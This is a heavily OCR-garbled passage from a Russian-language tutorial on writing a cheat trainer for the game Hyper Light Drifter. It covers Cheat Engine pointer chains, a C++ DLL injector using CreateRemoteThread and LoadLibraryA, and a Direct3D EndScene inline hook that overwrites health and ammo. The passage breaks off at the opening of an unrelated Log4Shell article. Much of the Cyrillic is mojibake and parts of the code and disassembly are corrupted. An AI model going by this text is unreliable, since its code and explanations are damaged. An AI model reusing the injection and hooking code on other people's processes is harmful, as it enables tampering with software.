LEA EDX, O%ORD PTR SS:{ESP + 2320]
MOV OWORD PTR DS:[EAX + 81, EO:
IMP hyperiightdrifter.858BA0

MOV EAX, DWORD PTR DS:{ECX]

MOV OWORD PTR S! ESP], 209

CALL OWORD PTR DS:[EAX + 4]

SUB ESP, 4

MOV_EDI, EAX

eax+8:"WARNING! game. loal

eax+8: "WARNING! game_loa

Puc. 15.25. daktuyeckoe 3HadeHne ammo
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ofcosempest eme MGV ECX, EST
I €245 10 000000 WOV DWDAG PTR 0S:{EST + 203, 9
<704 030600%0 OV OWORD »r- o festy,
E5 GAEFRFTE W.L Ry 1 ephitdl 1% Fwo
< €8 0 S Ry TigredeATeor oSO
3365 ¥OR ESI, ESI
8877 44 MOV WORD PTR DS:(EDI + 347, ESI
8877 44 MOV EST, DWORD PTR B5:[EOT + 44] fstatic addr 4 04dd}
£2502¢ 10 4OV EBY, TNORD PTA SS: (€59 + 10]
D4azs 18 . OMORD PTR 58:(ESP + 10}
8 9\,"’51 FAX
WV ECX, EST
835C23 14 V OWDRD PTR. S5:[ESP + 141, X
E3 SCFSFFFT wp hg’?«(ﬂﬂu,ssmo
BB FF ™ EAX, FFFFFI
4 OF it itiing T 507
8856 1a MOV EDX, OWORD PIR \7! {esL+ 30] fsvatrc sbde + o]
4 LEA ECX, wonu PTR DS:{EAX + EAX * 2
804484 09 LEA EAX, PTR DS;{EOK + ECX ~ 4 + 4] {ocaric adir » OxibUR} 7 fotalne asdr » MeReSLE
8530 TEST Ell
v 73 30 SnE Nmr'whn* FOAL
8338 24318725 MOV EST, Ml D BTR os [155791’4}
BBEH TEST ESI,
o [ A —
i &3 30918225 g ECX, hype"1\0htdﬂftar 25879120
&8  hyperts
|l)h B 131 74%87?5 MJV&ESI MRD PTI DS’ {2597?%23]
e d R 5
! -|w.sum 2vos 2918725 oo w7 05:{2587912¢], EAX S h
; o sossenst | 5 ZESI8TTS ADD OWOAD PTR.0S: 125379'123 EXX
of cosarws ms— MOV EAX, D PR 05:[&S]
.|mwu‘ &3 34819735 o e L
. wvurﬂ) i e MOV ECX, OWORO PTR DS:{£DT + X}
-INPIILX(‘ 3§ PUSH EST
o) ENFEIDED £94¢ K MOV OMOAD PYR DS:%(SK * €1, ECx
n wu;w‘ C706 GOS0 WOV OWORD PTR DS:{ESI], O
ofoorsscoe)  88s5 as MOV ECX, ONORD PR DS:{EOI + 44}
ofoosasesy 53 PUSH EBK
#| SHIECBETA £8 SLESFFFF CALL myperlightdriften. F88630
o Sdrnasor SE POP EDI
o|poszacie| 88z WOV EAX, EST
o) GOFESEL2| SE PoP ESI
sfcersanss)  Se POP EBX
8f BUEasE1s | €2 a0 RET 4
B Selooreasiz| 8390 MOV EAX, OWORO PTR DS:{EAx} AtaTic e
e s
s{LCFEdEIA|  SE 1
sfo0raRcial S8 POP EBA
ofcosssiici ¢z pemn BET.4
o3 $Houmps  PH0uws B warh 1

5 Durp 1

U Dump 2

Puc. 15.26. 3HayeHne ammo

Hyper Light Drifter

Pue. 15.27. NnankaTop naTpoHoB

NPUMEYAHNE

Ckopee Bcero, 6oenpunackl B8 HLD npeacTtaensoT coboit 3apsg aHepruv U noaToMy xpa-
HATCA B NpOUEHTax, Beab MpU MX MoWUcke Yepe3 OTNaayvuMK MOXHO Oblno yBuaeTb CTPOKM,
coaepxallue CrnoBo energy. 3TO CMOBO HAMeKaeT Ha To, kak ByaeT BbIrMAAEeTb 3HaYEHWE B
namaTu. Hanpumep, urpa ot ogHow Hebe3bi3BECTHOW MONbCKOWM KOMMNaHUWM XpaHuna naTpo-
Hbl B MAMATU BMECTe, a ANs Urpoka nokasbiBana pasgenbHo: Kak POXOK, Tak U KOMUYeCcTBO
OCTaBLUMXCA NATPOHOB, NO3TOMY MPU UX MOUCKE HE yAaBanoCb HAWTWU Kaxaoe U3 3HaYEHUN,
a HyXHO 6bINo UckaTb UX CYMMY.



Puc. 15.28. lo6aBnsem 3Hayexune B CE

I'IpOBepKa noJsly4eHHOro ctaTu4eckoro agpeca

Yr1oObI MPOBEPUTD, MTPABHIILHO JIH MBI ONMPEAETHIN afpeca, Hy>KHO BBIHTH B MEHIO HTDbI
M BEPHYTBCS K HTPOBOMY HPOLIECCY HIIH XK€ Mepe3anyCTUTb HIpY.

MNposepka ans HP

Tax BeirsauT Haia cheat table mois hp (puc. 15.29).

— =
2
g 11 it {52 g e—
WIS 11" 1% L] [ b
S T e T e . .
SRS A A0, AT RN IAME LIOUPS i [ A, TREUA T

Puc. 15.29. Tabnuua o Bbixoda B MEHI0 / nepesanycka urpbl
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A BOT Tak OHa BBITJIAAMT NOCTIE nepesanycka Urpsl (puc. 15.30).

Puc. 15.30. Tabnuua nocne 3anycka Urposoro npowecca

MpoBepka aona ammo

Tak Beirnsagur Hawa cheat table mis ammo (puc. 15.31).

Puc. 15.31. Tabnuua go Bbixoda B MeHI0 / nepe3aanycka urpbi

A BOT Tak OHa BBIIIAMT MOCIIE Nepe3anycka Urpsl (puc. 15.32).
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&€, Change address X
Address w
I ﬁ =100
| Description S tesiag g el SRS e
l static_adds_ammo
| Type
| Doudle v
Dua-a«m)n O Signed
@ vdinie _
e 000 2| 3651380+0- 3612380
0x268C > | 135450368 260C] > 36512380
& 10 i > 1 [352F9090+ 101 -> 3545038
E oxda :%: 2020+ 341 -> 32FI0N0
P2 008 3 353632081 - > 209625F0
[< 0C4 | > | 20829848~ C41» 35363280
ot — - JEU B 2y — i
< D48 { > ] | -3
< 0:00 > | (2D964488.0] -> 20964400
HyperLightDrfter exes 255AF 150 A== : - ) = = > 20964488
AddOffset | | Remove Offset '
oK

Puc. 15.32. Tabnuua nocne 3anycka UrpoBoro npouecca

Kak 6yaeT BbirnsigeTb Haw ykasaTtenb B C++

B namem uute JOCTYII K HalJIeHHBIM aapecaM 3HA4YEeHUH GyﬂeT TaKHM:
static_addr = (DWORD)GetModuleHandle (0);

static_addr = * (DWORD*) (static_addr + 0x255AF150);

static_addr = * (DWORD*) (static_addr);

static_addr = * (DWORD*) (static_addr + 0xDA48);

static_addr = * (DWORD*) (static_addr + 0x0QC);

static_addr = (DWORD*) (static_addr + 0xC4);

static_addr = * (DWORD*) (*static_addr + 0x08);
static_addr = * (DWORD*) (static_addr + 0x44);
static_addr = *(DWORD*) (static_addr + 0x10);

drifter hp = (double*) (DWORD*) * (DWORD*) (static_addr + Ox1FD8);
drifter ammo = (double*) (DWORD*)* (DWORD*) (static_addr + 0x268C);

HanucaHue TpenHepa

INo mpuHUMIY NEHCTBHA YHTHI MOXKHO pa3feNUTb Ha ABE IPYyINNbl: BHYTPEHHHE U BHELU-
- HHe. BHelIHHe 4uThl — 3TO OTAEIbHOE NPHIOKEHHE, 3alyLIEHHOE B CHUCTEME B BHIE
npouecca. BHyTpeHHHe 4HTBl OOBIYHO peanu30BaHbl Kak AHHaMHyeckas OubianoTeka,
BHeJpseMas B IPOLIECC UTPHI.

Ms1 GyneM nucath BHYTPEHHHH YHT, IO3TOMY HaM MOHAJOOMTCS HE TOJIbKO caMa GHO-

JIMOTEeKa, HO U MHXEKTOp, KOTOPBIH BHEIAPHUT Haury OHOnHOTeKy B mpouecc urpsl. MH-
JEKTOp MOJYYHT CIHUCOK MPOLIECCOB, HAWIET MPOLIECC MIPBI, BBIAEIUT B Hell mamsTh,
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B KOTOpYIO 3allMIIET Halll BHYTPEHHHUIl YHUT, a MOCiIe CO3AacT yAadeHHbIH MOTOK BHYTPH
UTPbI VIS BBIMOJTHEHHUS KOJa HALLEeTo YHTa.

Injector

Kon Hautero HH>xekTopa BINILAUT CIEAYIOLLUM 06pa3oMm.

#include <windows.h>
#include <tlhelp32.h>

// Vims BHempsemon dll
const char* dll path = "internal trainer hld.dll";

int main(void) {
HANDLE process;
void* alloc base addr;
HMODULE kernel32 base;
LPTHREAD START ROUTINE LoadLibraryA addr;
HANDLE thread;

HANDLE snapshot = 0;
PROCESSENTRY32 pe32 = { 0 };

DWORD exitCode = 0;
pe32.dwSize = sizeof (PROCESSENTRY32) ;

// TosnyuyeHye CHamuoTa TEeKYLUMX NPOLIEeCCOB
snapshot = CreateToolhelp32Snapshot (TH32CS SNAPPROCESS, 0);
Process32First (snapshot, &pe32);

do {
// Mbl xOoTuM paBoTaTh TOJILKO C npouleccoM HyperLightDrifter
if (wcscmp(pe32.szExeFile, L"HyperLightDrifter.exe") == 0) {

// BO-TNEpPBHIX, HaM HYXHO MOJIyUYUTb OECKPUIITOP NpPOLEecca,
4TOOBl MCIMOJIb30BATH €0 OJIA CJIEAYIUMX BBEIBOBOB

process = OpenProcess (PROCESS ALL ACCESS, true,
pe32.th32ProcessID) ;

// 9TOGEH HEe MOBPEIMTL MaMsThb, BHOEIMM OOMOJIHUTELHYO
NaMAThb IJIS XpPaHeHus Hawero nyTu K DLL

alloc base addr = VirtualAllocEx(process, NULL,
strlen(dll path) + 1, MEM COMMIT, PAGE READWRITE) ;

// 3amuceBaeM MyTh K Hawei DLL B N&8MATH, KOTOPY Mbl
TOJIbKO UTO BBEIOEIM BHYTPY MUI'PHL

WriteProcessMemory (process, alloc base addr, dll_path,
strlen(dll path) + 1, NULL);
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// Co3maeMm yIaneHHBII IOTOK BHYTPW WIPH, KOTOPEDI OyOeT
BBIIOJIHATBE LoadLibraryA

// K aToMy BHI30BY LoadLibraryA Mel nepenamm IOJIHEDA NYThb K
Hamwex DLL, KOTOpYyK Mel NPONMCAM B UTPY
kernel32 base = GetModuleHandle (L"kernel32.dll");

LoadLibraryA addr =
(LPTHREAD START ROUTINE)GetProcAddress (kernel32 base, "LoadLibraryA");

thread = CreateRemoteThread (process, NULL, O,
LoadLibraryA addr, alloc_base_addr, 0, NULL);

// UToBwl yBemmThCs, 4YyTO Hawa DLL BHeOpeHa, Mbl MOXEM
MCIOJIb30BaTh CJIeNyluMe IOBa BBEBOBA OJIS CHMHXPOHM3ALVM

WaitForSingleObject (thread, INFINITE) ;

GetExitCodeThread (thread, &exitCode);

// HakoHel, ocBoGoOxOaeMm NaMsaTh M OUMIUAEM IOEeCKPUIITOPE!
rnpolecca

VirtualFreeEx (process, alloc base addr, 0, MEM RELEASE);

CloseHandle (thread) ;

CloseHandle (process) ;

break;

t
// Tlepebop MpOLECCOB M3 CHAMIOTa
} while (Process32Next (snapshot, &pe32));

return 0O;

DLL

Hauia 6ubanoTexa OyaeT COCTOATh U3 CEAYIOUHX MOIYJIEH:
O rnaBHbBIH MOAYJIb (dllmain. cpp);

O moaynb XyKoB (directx hook.cpp M directx_hook.h);

O moxynb 00paTHBIX BBI30BOB (directx hook callbacks.h);

O moayJsb paboThl ¢ MAMATBHIO (memory . h).

FnaBHbIX MOAYNb

[lpu 3arpyske Hawed OuOnHoTexku depe3 GYHKLUHMIO LoadLibraryA CO3JaeTcsi MOTOK,
B KOTOpPOM OyZIeT POMCXOIUTh BbI30B ABYX (GyHKuMH. [lepBast ycTaHOBHUT XyK, a BTOpas
OTPHUCYET MEHIO HAIlEro YHTa U M3MEHHT paHee HalJEHHbIE 3HAYEHHS UYepe3 HaxaTHe
KJIaBHLL.

#include "directx_hook.h"

double full health = 6;
double full ammo = 100;
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DWORD static addr = 0;
DWORD *drifter = 0;

// TNonyuaem player class
void get_player class() {
if (drifter == NULL) {
(DWORD) GetModuleHandle (0) ;

static addr

static_addr = * (DWORD*) (static_addr + 0x255AF150);

static_addr = * (DWORD*)static_addr;
static_addr = * (DWORD*) (static_addr + 0xD48);
static_addr = * (DWORD*) (static_addr + 0x0C);
drifter = (DWORD*) (static_addr + OxC4);

// OTPUCOBEIBAEM HAlE MEHIO
void draw_menu (directx_hook* hook) {

hook->draw_text (10, 70, D3DCOLOR ARGB (255, 255, 255,
press F1");

hook->draw_text (10, 90, D3DCOLOR_ARGB (255, 255, 255,
press F2");
}

// VI3MEeHsieM MO HaxaTuio KJIABM 3HAadeHMs hp M ammo
void run(directx hook* hook) ({

double* drifter hp;
double* drifter ammo;

draw_menu (hook) ;
get player class();

if (*drifter) {
static_addr = * (DWORD*) (*drifter + 0x08);

* (DWORD*) (static addr + 0x44);
* (DWORD*) (static_addr + 0x10);

static_addr

static_addr

255), "Full health

255), "Full ammo

drifter hp = (double*) (DWORD*)* (DWORD*) (static_addr + 0x1FD8);
drifter ammo = (double*) (DWORD*)* (DWORD*) (static_addr + 0x268C);

if (GetAsyncKeyState (VK F1) & 1) {
*drifter hp = full health;

if (GetAsyncKeyState (VK F2) & 1) {
*drifter ammo = full ammo;
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void injected thread() ({
// IoBamnseM Hawy QyHKWMO, KOoTOopad OymeT BHBeBATHCA npu inline hook
directx hook::get instance()->add_callback (&run) ;
// HaumHaeMm paBoTy no ycTaHoBke inline hook
directx hook::get instance()->initialize();

BOOL APIENTRY Dl1lMain (HMODULE hModule, DWORD ul reason for_ call, LPVOID
1pReserved) {
switch (ul reason_for call) {
case DLL PROCESS ATTACH:

CreateThread (0, O,
(LPTHREAD START ROUTINE) injected_thread, 0, 0, 0);

case DLL THREAD ATTACH:
case DLL THREAD DETACH:
case DLL PROCESS DETACH:
break;
}
return TRUE;

Moaynb xykoB

310 Moaynb, B KOTOpOM Oyaer BBINOJNHATBCA mepexBar ¢yHKuuH EndScene
(https://docs.microsoft.com/en-us/windows/win32/api/d3d9/nf-d3d9-
idirect3ddevice9-endscene) — oHa OTBeyaeT 3a OTPUCOBKY CLEH. ITO HEOOXOIUMO IS
TOr0, YTOOB! OTPUCOBBIBATH HAIlIE MEHIO.

Xykun

Ectb muoxectBo BuaoB xykoB (https://www.unknowncheats.me/forum/general-
programming-and-reversing/154643-different-ways-hooking.html), HO ™Mbl Oynem
HCIIONIb30BaTh CaMbIii MPOCTOM W3 3TOro crnucka — byte patching/inline hook. Beibop
00BsICHAETCS MPOCTO: Hallla Urpa MOJIEPXKHBAET TOJbKO OAMHOYHBIH pEXHM, a Apyrue
XYKH CIIyXaT a7 00X01a aHTHYHTOB B MHOTOIOJIb30BATENbCKUX UIPAX U HaM IONpPOCTY
HE HYXHEI.

#pragma once

#include <windows.h>
#include <stdint.h>

#include <d3d9.h>
#include <d3dx9.h>
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#pragma comment (lib, "d3d9.1ib")
#pragma comment (1ib, "d3dx9.1lib")

typedef HRESULT (WINAPI* endscene) (LPDIRECT3DDEVICES pDevice);
class directx_ hook;
typedef void (*_callback run) (directx hook* hook) ;

class directx_hook {
private:

public:

text);

static directx hook* instance;

static uint8 t* orig endscene code;
static uint32_t endscene_addr;

static LPDIRECT3DDEVICES hooked_device;

static bool hook ready pre, hook ready;
_callback run callback_run;
LPD3DXFONT font;

void set_hooks () ;
uint32_t locate_endscene();

static _endscene orig endscene;

static directx _hook* get instance() {
if (!directx hook::instance) {
directx hook::instance = new directx hook();
}

return directx hook::instance;

static void delete_instance() {
if (directx_hook::instance) {
delete directx hook::instance;
directx_hook::instance = NULL;

void initialize();
void add callback( callback run cb);

void draw_text (uint32 t x, uint32 t y, D3DCOLOR color, const char*

uint32 t init hook callback (LPDIRECT3DDEVICES device);
HRESULT WINAPI endscene hook callback (LPDIRECT3DDEVICEY pDevice);
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B ocTansHBIX MOAYJIAX MBI BBITIIOJTHUM CIIEOYIOUIHE JeHCTBHA:

O co3paguM BpeMeHHoe yctporcTBO Direct3D u momyumm ero tabmuusl VF, 4ToGBI
HaHTH agpec QYHKUHMH EndScene;

O ycTaHOBMM BpEMEHHHIH XyK Ha QYHKIMIO EndScene;

O mnpu BHINOJHEHHH XyKa BHIITOJHHM OOpaTHEIH BHI30B M NepeJaiuM eMy aJipec YyCTpoi-
CTBa, KOTOPOE MCIOJIB30BaNOCh Ul BBI30Ba (GYHKLHH EndScene. 3aT€M yIJallUM XYK H
BOCCTaHOBHM HOPMaJIbHOE BBIIIONIHEHHE QYHKIHH EndScene;

O BHIOJHUM Halry QYHKLHIO run;
O BepHEMCS KO BTOPOMY IyHKTY.

Bce 310 menaercs, YyTOOBl HAITMCAHHBIH HAaMM KOJ OTPHCOBHIBAJI MEHIO YHTA H II0 HaXa-
THIO KHOIIOK H3MCHAJIUCh 3HAYCHHUA hp H ammao.

#include "directx _hook.h"
#include "directx hook callbacks.h"
#include "memory.h"

directx_hook* directx_hook::instance = NULL;

uint8_t* directx_hook::orig_endscene_code = NULL;
uint32_t directx_hook::endscene_addr = NULL;
LPDIRECT3DDEVICEY directx_hook::hooked device = NULL;

_endscene directx hook::orig_endscene = NULL;
bool directx hook::hook ready = false;
bool directx hook::hook ready pre = false;

void directx_hook::initialize() {

// TlpoBepsieM, HaxXOMMTCA JMM B aOpeCHOM MpocTpaHcTBe d3d9.dll
while (!GetModuleHandleA ("d3d9.d11")) {
Sleep(10);

// TosnyuaeMm ampec ¢yHKWB1 endscene
directx hook::endscene_addr = this->locate_endscene () ;

// TlpoBepseM, ycremHo Jm nojydeH ampec EndScene
// Ecrm ma, TO ycTaHaBymBaeM Ham inline hook
if (directx_hook::endscene_addr) {

directx_hook::orig_endscene_code =
hook_jmp (directx_hook::endscene_addr, (uint32_t)&endscene_trampoline);

}

// Xoem
while (!directx hook::hook_ready pre) {
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Sleep(10);

// CurHayimsupyeM, 4YTO Hall XyK I'OTOB
directx_hook: :hook_ready = true;

// 3aMeHUTL NPUCBOEHMEM
// Kak TOnebkO Ham Xyk OyOeT yCTaHOBJEH
void directx hook::add callback(_callback run cb) {
if (!directx_hook::hook_ready)
callback run = cb;

// OBepTka 1A OTPUCOBKM TEKCTa
void directx hook::draw_text (uint32_t x, uint32_t y, D3DCOLOR color, const
char* text) {

RECT rect;

rect.left = x + 1;

rect.top = y + 1;

rect.right = rect.left + 1000;

rect.bottom = rect.top + 1000;

this->font->DrawTextA (NULL, text, -1, &rect, 0, color);

uint32_t directx hook::init_hook_callback (LPDIRECT3DDEVICES device) {
directx_hook: :hooked device = device;
while (directx hook::orig_endscene_code == NULL) {}
unhook_jmp (directx hook::endscene_addr, orig_endscene_code) ;

D3DXCreateFont (directx_hook::hooked device, 15, 0, FW_BOLD, 1, O,
OEFAULT_CHARSET, OUT_DEFAULT PRECIS, ANTIALIASED QUALITY, DEFAULT PITCH |
FF_DONTCARE, L"Arial", &this->font);

this->set_hooks();
directx_hook: :hook ready pre = true;
return directx_hook: :endscene_addr;
RESULT WINAPI directx hook::endscene_hook callback (LPDIRECT3DDEVICES pDevice)

{
HRESULT result;



O0—— 228 —0O

callback_run(this);

result = orig endscene (pDevice) ;
this->set hooks();
return result;

void directx hook::set hooks() {
uint32_t ret;
// YcTaHaBIMBaeM XYyK
ret = hook vf ((uint32 t)directx hook::hooked device, 42,
(uint32 t)&my endscene);
if (ret != (uint32 t)e&my endscene) {
*(uint32_ t*)&directx hook::orig_endscene = ret;

uint32 t directx hook::locate endscene() ({
LPDIRECT3DY pD3D;
D3DPRESENT_PARAMETERS d3dpp;
LPDIRECT3DDEVICES pd3dDevice;
uint32 t endscene_addr;

// Cosmaem BpeMmeHHsl1 06BexkT D3D9 u nmpoxommcs IO BUPTYyaJibHOM Tabimue,
yTOOH MOJIyUUTH alpec Merona EndScene

pD3D = Direct3DCreate9 (D3D_SDK VERSION) ;

if (!pD3D) {
return 0;

ZeroMemory (&d3dpp, sizeof (d3dpp)):;
d3dpp.Windowed = TRUE;

d3dpp.SwapEffect = D3DSWAPEFFECT DISCARD;
d3dpp.hDeviceWindow = GetForegroundWindow () ;

HRESULT result = pD3D->CreateDevice (D3DADAPTER DEFAULT, D3DDEVTYPE HAL,
d3dpp.hDeviceWindow, D3DCREATE SOFTWARE VERTEXPROCESSING, &d3dpp, &pd3dDevice);

if (FAILED(result) || !pd3dDevice) ({
pD3D->Release () ;
return 0;

// TlonyuaeM ampec, KOTOpeBA XpaHuUTCcsa B rdata
endscene addr = get vf ((uint32 t)pd3dDevice, 42);
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// Ouviiaem
pD3D->Release () ;
pd3dDevice->Release () ;

return endscene addr;

Mo.qynb o6paT|-| bIX BbI3OBOB

3TO MOAyJb, B KOTOPOM peaju30BaHa (PYHKLUHMS inline hook — endscene_trampoline,
a Takxe (YHKIHA init endscene, Ha KOTOPYIO XyK mepenacT ynpasienue. OHa, B CBOIO
ouepesap, 3amyCTUT (PYHKUMIO init hook callback s yCTAaHOBKH Xyka. A (yHKUHA
my endscene BLBOBeT(byHKHHK)endscene_hook_callback,KOTOpaH OTBEYACT 3a 3amycCK

({yHKUHH run.

#include "directx_ hook.h"

DWORD WINAPI init endscene (LPDIRECT3DDEVICEY device addr) {
return directx hook::get instance()->init hook callback (device addr);

HRESULT WINAPI my endscene (LPDIRECT3DDEVICEY pDevice) ({
return directx hook::get instance () ->endscene hook_callback (pDevice) ;

// Ham inline hook
__declspec(naked) void endscene trampoline() ({
__asm |{
MOV EAX, DWORD PTR SS: [ESP + 0x4]
PUSH EAX
CALL init_endscene
JMP EAX

Moaynb paboTbl ¢ namMATbIO

OyHKUMSA Direct3DCreate9 BO3BpAILAET yKa3aTeidb Ha HHTep(eic IDirect3D9, KOTOPBIA
COJIEP)KUT TaONHLy BUPTyalbHbIX GyHKIHHA (Hanee — VMT). Cpenu HUX 1Mo HHAEKCY 42
pacrnonaraercs HyxHasi HaM (QYHKUHS EndScene. [T03TOMy HamuieM HECKOJNBKO (YHK-
Ui, KOTophle MO3BOJAT moayuyuts VMT, a Takke mucath, YUTaThb U M3MEHSATH IMpaBa
nocryna maMatd. bonee moapo6OHO o Tabnuie BUPTyanbHbIX QyHKUHMHA paccka3zaHo B Bu-

xunenuu (https://ru.wikipedia.org/wiki/ Tabauua_BHpPTYyaJbHbIX_METOHOB).
#pragma once

#include <windows.h>

#include <stdint.h>
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// UYreHue u3 namaTH

template<typename T>

T read memory(uint32_t address) {
return *((T*)address):;

// 3amuce B namAaThb

template<typename T>

void write_memory(uint32 t address, T value) ({
*((T*)address) = value;

template<typename T>

uint32_t protect_memory(uint32_t address, uint32_t.prot) {
DWORD old prot;
VirtualProtect ( (LPVOID) address, sizeof(T), prot, &old prot);
return old prot;

// Nomyyenne ampeca EndScene B VMT

uint32_t get vf(uint32 t class_inst, uint32_t func_idx) {
uint32_t vf table;
uint32_t hook_addr;

vf_table = read_memory<uint32_t>(class_inst);
hook addr = vf table + func_idx * sizeof (uint32_t);
return read_memory<uint32_t>(hook_addr);

// TNomyuyenne ampeca EndScene mz VMT
uint32_t hook_vf (uint32_t class_inst, uint32_t func_idx, uint32_t new_func)
uint32_t vf table;
uint32_t hook_addr;
uint32_t old prot;
uint32_t orig_func;

vf_table = read memory<uint32_ t>(class_inst);
hook_addr = vf table + func_idx * sizeof (uint32_t);

old prot = protect_memory<uint32_t>(hook addr, PAGE_READWRITE);
orig func = read memory<uint32_t>(hook_addr);

write memory<uint32_t>(hook addr, new_func);

protect memory<uint32_t>(hook addr, old prot);

return orig_func;

{
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// YcTaHOBKa Xyka

unsigned char* hook_jmp(uint32_t hook, uint32 t new_func) {
uint32_t new_offest;
uint32_t old prot;
uint8_t* originals = new uint8 t[5];

// BuumcnaeM cMeilleHue OO Hamero inline hook
new_offest = new_func - hook - 5;

// UToOu He mMpoM30WNIO Kpalla, Tak Kak BCe BMPTyaNbHHE OQYyHKLIMM
// xpansaTrca B rdata, u3MeHAeM mpaBa HOCTyTa NO ampecy QyHKLys1
old prot = protect memory<uint8_ t[5]>(hook, PAGE EXECUTE READWRITE) ;

// COXpaHfieM OpUTMHAJNLHEIL ampec
for (uint8 t i = 0; i < 5; i++) {
originals[i] = read_memory<uint8 t>(hook + i);

// llepe3anucHBaeM HaunM KOIOOM
write memory<uint8_t>(hook, OxE9);
write memory<uint32_t>(hook + 1, new_offest);

// BoccraHaB/mMBaeM NpexHMe npasa
protect _memory<uint8_ t([5]>(hook + 1, old prot);
return originals;

// CHimaeM Xyk
void unhook_jmp(uint32_t hook, uint8_t* originals) {
uint32_t old prot;

// UToCH He NpOM30WIO Kpalwa, M3MEHAeM MpaBa IOCTyna Mo ampecy byHkuwym
old prot = protect _memory<uint8_ t[5]>(hook, PAGE EXECUTE_ READWRITE) ;

// 3BanuceBaeM MpexHyt ampec

for (unsigned int i = 0; i < 5; i++) {
write memory<uint8 t>(hook + i, originals(i]);

// BoccTraHaB/mMBaeM IMpexHue npasa
protect_memory<uint8 t[5]>(hook + 1, old prot);

delete({] originals;



00— 232 —0

NMpoBepka paboTocnocobHoOCTHU

3amyckaem Hall YMT, OJIy4aeM YpoH, TpaTUM Ooe3anac, HaxumaeMm F1-F2 u Bugum, kax
3HaYeHHs hp 1 ammo CTaHOBATCSA MaKCUMAaJIbHBIMH. 3HA4HT, YUT paboTaeT (puc. 15.33)!

[Hypes Light Drifter

Full healtt press £1
Full amamo press 72

Puc. 15.33. Npoeepka paborocnocobHocTh

BbiBOAbI

C momomwsto Cheat Engine Mbl Hay4HJIMCh UCKaTh pakTHYECKOE 3HAYEHHE TOW MepeMeH-
HOW, KOTOPYIO MBI XOTHM MOAM(HUIMPOBATh. 3aT€M C MOMOILBIO OTIAA4YHKA MBI HALLIH
CcTaTHU4YECKHe aapeca JUIs 3HaYeHHi, onpeaeneHHbIx ¢ momoubo CE, mpu 3ToM pa3obpa-
JHCh, KaKk paboTtaeT UrpoBoH ABrkok. Hampumep, ectb obwmas ¢yHKUMS U1 IOJTyYeHHs
3HA4YEeHHH UrpoKa, Takux Kak hp u ammo, ectb 001mas GyHKUMS LIS 3aIHCH H3MEHEHHH
3TuX 3HaueHHHd. C 3TUMH 3HAHHUSAMH MOUCK APYrHX 3HaA4eHUH Oyner ropasgo mnpoiue u
ObICTpee. A HamMCaHHBIA HAMH KO MOXCHO HCIOJB30BaTh KaK OCHOBY, 0a3y AJis YUTOB K
JIpYTUM UIpaMm.

TMONE3HBIE CChINKN
Heckonbko NONE3HbIX CCbISIOK MO TeME B3NI0Ma UTP U HaMMUCaHUK YNTOB:

= https://github.com/dsasmblr/game-hacking
= https://github.com/dsasmblr/hacking-online-games
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Log4HELL! Pa3z6upaem Log4Shell
BO BCeX NogpoOHOCTAX

Mapus Hegbédoea
UeaH aLLy Komuccapoe

Va3sumocts Log4Shell, HenaBHO oOHapyskeHHas B nomysspHOH OMOIHOTEKE KypHAH-
poBanus Log4j, kotopas Bxoaut B coctaB Apache Logging Project, npencrasnser coboi
6onburyro npobnemy. Beap cioxHO Ha3zBaTh KOMIAHMIO, CAHT WIIM NPUIIOXKEHHE, KOTO-
pbl€ BOBCE HE HCIOJb3YIOT IOTEHLMANIbHO YsA3BUMbIE NPOAYKTHI. PacckasbiBaeM, uTO HU3-
BecTHO o npobneme Log4Shell Ha taHHBII MOMEHT U KaK pearupyeTr Ha Hee HHIYCTPHSL.

Log4Shell

B cepenune nexadbps 2021 roga paspaboruuku Apache Software Foundation BeimycTHin
3KCTpeHHoe oOHoBIeHHe 6e3onacHocTy, ucnpasistoiee 0-day-yszsumocts (CVE-2021-
44228, https://nvd.nist.gov/vuln/detail/CVE-2021-44228) B nonynsipHod O6ubanoTeke
xypHanupoBanus Log4j, Bxoasuei B coctaB Apache Logging Project. CpoyHOCTE 00B-
sCHANAch TeM, 4To Mb-cneuuanucTsl yxe Hayand myOJHKOBaTh B OTKPBITOM AOCTYIE
PoC-axcnmontsl, 00bCHSs, YTO UCMONB30BaTh Oar MOXKHO YJAJIEHHO, MPHYEM I 3TOTO
He NMOHaf00ATCs 0COObIE TEXHUYECKHE HABBIKH.

IIpo6iema nonyuuna HazBaHue Log4Shell 1 — penkwuii cioyyait! — Habpana gecats Oan-
JIOB U3 JECATH BO3MOJXHBIX IO IiKane oueHkH ys3Bumoctedi CVSS v3. bar monyckaer
yHaneHHoe BbIModHeHHe npousBonbHoro koaa (RCE), mpuyeM BpeIOHOCHBIH KOJ MOXET
NOMacTh B CUCTEMY CaMbIMH Pa3HBIMH CIOCO0aMH, BEIb IS aTaKH JOCTATOYHO, YTOOBI
HY)XHas 3alHCh 0Ka3ajach B JIOTaXx.

Hcxonno npobrema Oblta oOHapyxeHa BO BpeMs OTioBa 6aroB Ha cepBepax Minecraft,
Ho 6ubnuortexka Log4j nmpUCYTCTBYET NPAaKTHYECKH B JIFOOBIX KOPIOPAaTHBHBIX MPUIIOXKE-
HUAX U Java-cepBepax. K mpuMepy, ee MOXKHO HaWTH MOYTH BO BCEX KOPHNOPATHBHBIX
NpOayKTax, BeIMyLeHHbIX Apache Software Foundation, Bknrouas Apache Struts, Apache
Flink, Apache Druid, Apache Flume, Apache Solr, Apache Kafka, Apache Dubbo. Taike
Log4j akTHBHO NPHUMEHSIOT B OMEHCOPCHBIX Npoekrax, Hanpumep Redis, Elasticsearch,
Elastic Logstash unu Ghidra.
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Takum 06pa3oM, KOMIIAHHH, HCIIONB3YIOIIHE TI000H U3 ITHX NMPOAYKTOB, TOXKE KOCBEHHO
ya3BHMBI niepen atakaMu Ha Log4Shell, xors MoryT naxe He 3HaTh 06 aToM. UB-cneuna-
JIMCTHI cpa3y npexnynpexnand, 4yto nepen Log4Shell MoryT 65Tk yA3BUMBI pELLIEHUS Ta-
KHX TMTaHTOB, Kak Apple, Amazon, Twitter, Cloudflare, Steam, Tencent, Baidu, DIDI,
JD, NetEase 1, BeposATHO, ThICA4 APYTUX KOMIIAHHUH.

IMpunuun paborsr Log4Shell BeceMa npocT: ysA3BUMOCTD BBIHYXIAET IPUIOXKEHHS U cep-
Bepbl Ha ocHOBe Java, rae ucrnonbdyercs 6ubnuorexka Log4j, coxpaHATh B Jiorax orpe-
JeneHHyto ctpoky. Korna npunoxxenue unu cepBep o6pabaThiBalOT TaKHe JIOTH, CTPOKa
MOXET 3aCTaBHTh YSA3BHMYIO CHCTEMY 3arpy3HTh M 3allyCTUTh BPEIOHOCHBIH CKDHIT H3
JIOMEHa, KOHTPOJHPYEMOrO 310YMBILUIEHHHKOM. FITOroM cTaHeT MOJIHBIH 3aXBaT yA3BH-
